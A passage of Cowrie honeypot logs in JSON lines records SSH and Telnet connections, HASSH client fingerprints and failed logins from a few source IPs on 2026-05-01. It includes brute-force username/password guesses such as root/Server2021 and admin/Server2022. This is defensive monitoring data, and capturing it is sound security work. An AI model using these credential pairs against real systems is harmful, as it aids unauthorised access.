{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:08.596972Z","src_ip":"103.190.242.61","session":"98493b1ef025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.61662769317627,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:08.771790Z","src_ip":"137.184.155.248","session":"bc5aaf8fdeb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":65195,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dbf0e356814","protocol":"ssh","message":"New connection: 103.190.242.61:65195 (10.17.0.5:22) [session: 4dbf0e356814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:08.804103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:08.809112Z","src_ip":"103.190.242.61","session":"4dbf0e356814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:09.004794Z","src_ip":"103.190.242.61","session":"4dbf0e356814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2021","message":"login attempt [root/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:09.819811Z","src_ip":"103.190.242.61","session":"4dbf0e356814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:10.301932Z","src_ip":"103.190.242.61","session":"4dbf0e356814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":65337,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef3171b9dd33","protocol":"ssh","message":"New connection: 103.190.242.61:65337 (10.17.0.5:22) [session: ef3171b9dd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:10.501383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:10.506731Z","src_ip":"103.190.242.61","session":"ef3171b9dd33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:10.705160Z","src_ip":"103.190.242.61","session":"ef3171b9dd33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2021","message":"login attempt [admin/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:11.526362Z","src_ip":"103.190.242.61","session":"ef3171b9dd33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:12.007255Z","src_ip":"103.190.242.61","session":"ef3171b9dd33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58032,"dst_ip":"10.17.0.5","dst_port":23,"session":"27286648cc43","protocol":"telnet","message":"New connection: 137.184.155.248:58032 (10.17.0.5:23) [session: 27286648cc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:12.034304Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":65471,"dst_ip":"10.17.0.5","dst_port":22,"session":"543204fa753c","protocol":"ssh","message":"New connection: 103.190.242.61:65471 (10.17.0.5:22) [session: 543204fa753c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:12.213460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:12.219660Z","src_ip":"103.190.242.61","session":"543204fa753c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:12.420837Z","src_ip":"103.190.242.61","session":"543204fa753c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.154829025268555,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.098723Z","src_ip":"137.184.155.248","session":"5c00745203e8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2021","message":"login attempt [user/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.232991Z","src_ip":"103.190.242.61","session":"543204fa753c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.713865Z","src_ip":"103.190.242.61","session":"543204fa753c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":54934,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f6bbd4b675","protocol":"ssh","message":"New connection: 58.186.20.101:54934 (10.17.0.5:22) [session: a6f6bbd4b675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.728865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.734458Z","src_ip":"58.186.20.101","session":"a6f6bbd4b675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49210,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1448bb63e94","protocol":"ssh","message":"New connection: 103.190.242.61:49210 (10.17.0.5:22) [session: e1448bb63e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.912657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.918109Z","src_ip":"103.190.242.61","session":"e1448bb63e94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:13.992830Z","src_ip":"58.186.20.101","session":"a6f6bbd4b675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:14.112388Z","src_ip":"103.190.242.61","session":"e1448bb63e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2021","message":"login attempt [user2/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:14.918077Z","src_ip":"103.190.242.61","session":"e1448bb63e94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test-user","password":"12345","message":"login attempt [test-user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.049130Z","src_ip":"58.186.20.101","session":"a6f6bbd4b675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.397133Z","src_ip":"103.190.242.61","session":"e1448bb63e94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":57900,"dst_ip":"10.17.0.5","dst_port":23,"session":"505a1ba07fe9","protocol":"telnet","message":"New connection: 137.184.155.248:57900 (10.17.0.5:23) [session: 505a1ba07fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.448693Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49340,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d13dfcb71e9","protocol":"ssh","message":"New connection: 103.190.242.61:49340 (10.17.0.5:22) [session: 2d13dfcb71e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.595171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.600121Z","src_ip":"103.190.242.61","session":"2d13dfcb71e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.792056Z","src_ip":"103.190.242.61","session":"2d13dfcb71e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.107287645339966,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:15.828809Z","src_ip":"137.184.155.248","session":"8c2426afd32a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:16.322502Z","src_ip":"58.186.20.101","session":"a6f6bbd4b675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:16.593166Z","src_ip":"103.190.242.61","session":"2d13dfcb71e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:17.073599Z","src_ip":"103.190.242.61","session":"2d13dfcb71e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49466,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b382b6cbc6a","protocol":"ssh","message":"New connection: 103.190.242.61:49466 (10.17.0.5:22) [session: 8b382b6cbc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:17.277241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:17.287726Z","src_ip":"103.190.242.61","session":"8b382b6cbc6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:17.481900Z","src_ip":"103.190.242.61","session":"8b382b6cbc6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2022","message":"login attempt [admin/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:18.297220Z","src_ip":"103.190.242.61","session":"8b382b6cbc6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:18.776577Z","src_ip":"103.190.242.61","session":"8b382b6cbc6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49594,"dst_ip":"10.17.0.5","dst_port":22,"session":"5017e04f7f09","protocol":"ssh","message":"New connection: 103.190.242.61:49594 (10.17.0.5:22) [session: 5017e04f7f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:18.975158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:18.980310Z","src_ip":"103.190.242.61","session":"5017e04f7f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:19.172505Z","src_ip":"103.190.242.61","session":"5017e04f7f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.81919026374817,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:19.178115Z","src_ip":"137.184.155.248","session":"906fd26226ac","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2022","message":"login attempt [user/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:19.971898Z","src_ip":"103.190.242.61","session":"5017e04f7f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.113117694854736,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.195692Z","src_ip":"137.184.155.248","session":"d0db4db707fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.449654Z","src_ip":"103.190.242.61","session":"5017e04f7f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":49739,"dst_ip":"10.17.0.5","dst_port":22,"session":"e544b96e8221","protocol":"ssh","message":"New connection: 103.190.242.61:49739 (10.17.0.5:22) [session: e544b96e8221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.650047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:40:20.655043Z","src_ip":"103.190.242.61","session":"e544b96e8221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa